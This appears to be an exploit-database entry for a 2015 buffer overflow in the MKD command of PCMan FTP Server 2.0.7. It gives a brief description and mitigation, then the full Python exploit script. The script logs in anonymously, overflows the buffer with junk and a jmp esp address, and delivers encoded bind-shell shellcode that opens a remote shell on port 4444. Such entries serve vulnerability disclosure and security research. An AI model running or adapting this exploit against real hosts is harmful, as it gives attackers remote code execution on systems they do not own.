PCMan FTP Server v2.0.7 Buffer Overflow - MKD Command

vendor:

PCMan FTP Server

by:

R-73eN

9.3

CVSS

HIGH

Buffer Overflow

119

CWE

Product Name: PCMan FTP Server

Affected Version From: 2.0.7

Affected Version To: 2.0.7

Patch Exists: YES

Related CWE: N/A

CPE: a:pcman:pcman_ftp_server:2.0.7

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows XP SP3

2015

PCMan FTP Server v2.0.7 Buffer Overflow – MKD Command

PCMan FTP Server v2.0.7 is vulnerable to a buffer overflow vulnerability when handling MKD commands. An attacker can send a specially crafted MKD command with an overly long string, which can cause a buffer overflow and allow the attacker to execute arbitrary code on the vulnerable system. The vulnerability is caused by a lack of proper bounds checking when handling MKD commands.

Mitigation:

Upgrade to the latest version of PCMan FTP Server.

Source

Exploit-DB raw data:

# Title: PCMan FTP Server v2.0.7 Buffer Overflow - MKD Command
# Date : 12/02/2015 
# Author: R-73eN
# Software: PCMan FTP Server v2.0.7
# Tested On Windows Xp SP3

import socket

#348 Bytes Bind Shell Port TCP/4444
shellcode = "\xdb\xcc\xba\x40\xb6\x7d\xba\xd9\x74\x24\xf4\x58\x29\xc9"
shellcode += "\xb1\x50\x31\x50\x18\x03\x50\x18\x83\xe8\xbc\x54\x88\x46"
shellcode += "\x56\x72\x3e\x5f\x5f\x7b\x3e\x60\xff\x0f\xad\xbb\xdb\x84"
shellcode += "\x6b\xf8\xa8\xe7\x76\x78\xaf\xf8\xf2\x37\xb7\x8d\x5a\xe8"
shellcode += "\xc6\x7a\x2d\x63\xfc\xf7\xaf\x9d\xcd\xc7\x29\xcd\xa9\x08"
shellcode += "\x3d\x09\x70\x42\xb3\x14\xb0\xb8\x38\x2d\x60\x1b\xe9\x27"
shellcode += "\x6d\xe8\xb6\xe3\x6c\x04\x2e\x67\x62\x91\x24\x28\x66\x24"
shellcode += "\xd0\xd4\xba\xad\xaf\xb7\xe6\xad\xce\x84\xd7\x16\x74\x80"
shellcode += "\x54\x99\xfe\xd6\x56\x52\x70\xcb\xcb\xef\x31\xfb\x4d\x98"
shellcode += "\x3f\xb5\x7f\xb4\x10\xb5\xa9\x22\xc2\x2f\x3d\x98\xd6\xc7"
shellcode += "\xca\xad\x24\x47\x60\xad\x99\x1f\x43\xbc\xe6\xdb\x03\xc0"
shellcode += "\xc1\x43\x2a\xdb\x88\xfa\xc1\x2c\x57\xa8\x73\x2f\xa8\x82"
shellcode += "\xeb\xf6\x5f\xd6\x46\x5f\x9f\xce\xcb\x33\x0c\xbc\xb8\xf0"
shellcode += "\xe1\x01\x6d\x08\xd5\xe0\xf9\xe7\x8a\x8a\xaa\x8e\xd2\xc6"
shellcode += "\x24\x35\x0e\x99\x73\x62\xd0\x8f\x11\x9d\x7f\x65\x1a\x4d"
shellcode += "\x17\x21\x49\x40\x01\x7e\x6e\x4b\x82\xd4\x6f\xa4\x4d\x32"
shellcode += "\xc6\xc3\xc7\xeb\x27\x1d\x87\x47\x83\xf7\xd7\xb8\xb8\x90"
shellcode += "\xc0\x40\x78\x19\x58\x4c\x52\x8f\x99\x62\x3c\x5a\x02\xe5"
shellcode += "\xa8\xf9\xa7\x60\xcd\x94\x67\x2a\x24\xa5\x01\x2b\x5c\x71"
shellcode += "\x9b\x56\x91\xb9\x68\x3c\x2f\x7b\xa2\xbf\x8d\x50\x2f\xb2"
shellcode += "\x6b\x91\xe4\x66\x20\x89\x88\x86\x85\x5c\x92\x02\xad\x9f"
shellcode += "\xba\xb6\x7a\x32\x12\x18\xd5\xd8\x95\xcb\x84\x49\xc7\x14"
shellcode += "\xf6\x1a\x4a\x33\xf3\x14\xc7\x3b\x2d\xc2\x17\x3c\xe6\xec"
shellcode += "\x38\x48\x5f\xef\x3a\x8b\x3b\xf0\xeb\x46\x3c\xde\x7c\x88"
shellcode += "\x0c\x3f\x1c\x05\x6f\x16\x22\x79"
banner = ""
banner += "  ___        __        ____                 _    _  \n"   
banner +=" |_ _|_ __  / _| ___  / ___| ___ _ __      / \  | |    \n"
banner +="  | || '_ \| |_ / _ \| |  _ / _ \ '_ \    / _ \ | |    \n"
banner +="  | || | | |  _| (_) | |_| |  __/ | | |  / ___ \| |___ \n"
banner +=" |___|_| |_|_|  \___/ \____|\___|_| |_| /_/   \_\_____|\n\n"
print banner
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server = raw_input('Enter IP : ')
s.connect((server, 21))
a = s.recv(1024)
print ' [+] ' + a
s.send('User anonymous')
s.recv(1024)
s.send('pass')
s.recv(1024)
print ' [+] Logged in as Anonymous ...'
evil = 'A' * 2007 #JUNK
evil += '\x65\x82\xA5\x7C' # EIP overwrite jmp esp / shell32.dll
evil += '\x90' * 10
evil += shellcode
print ' [+] Sending Payload ...'
s.send('mkd ' + evil)
print ' [+] You got shell .....\n telnet ' + server + ' 4444'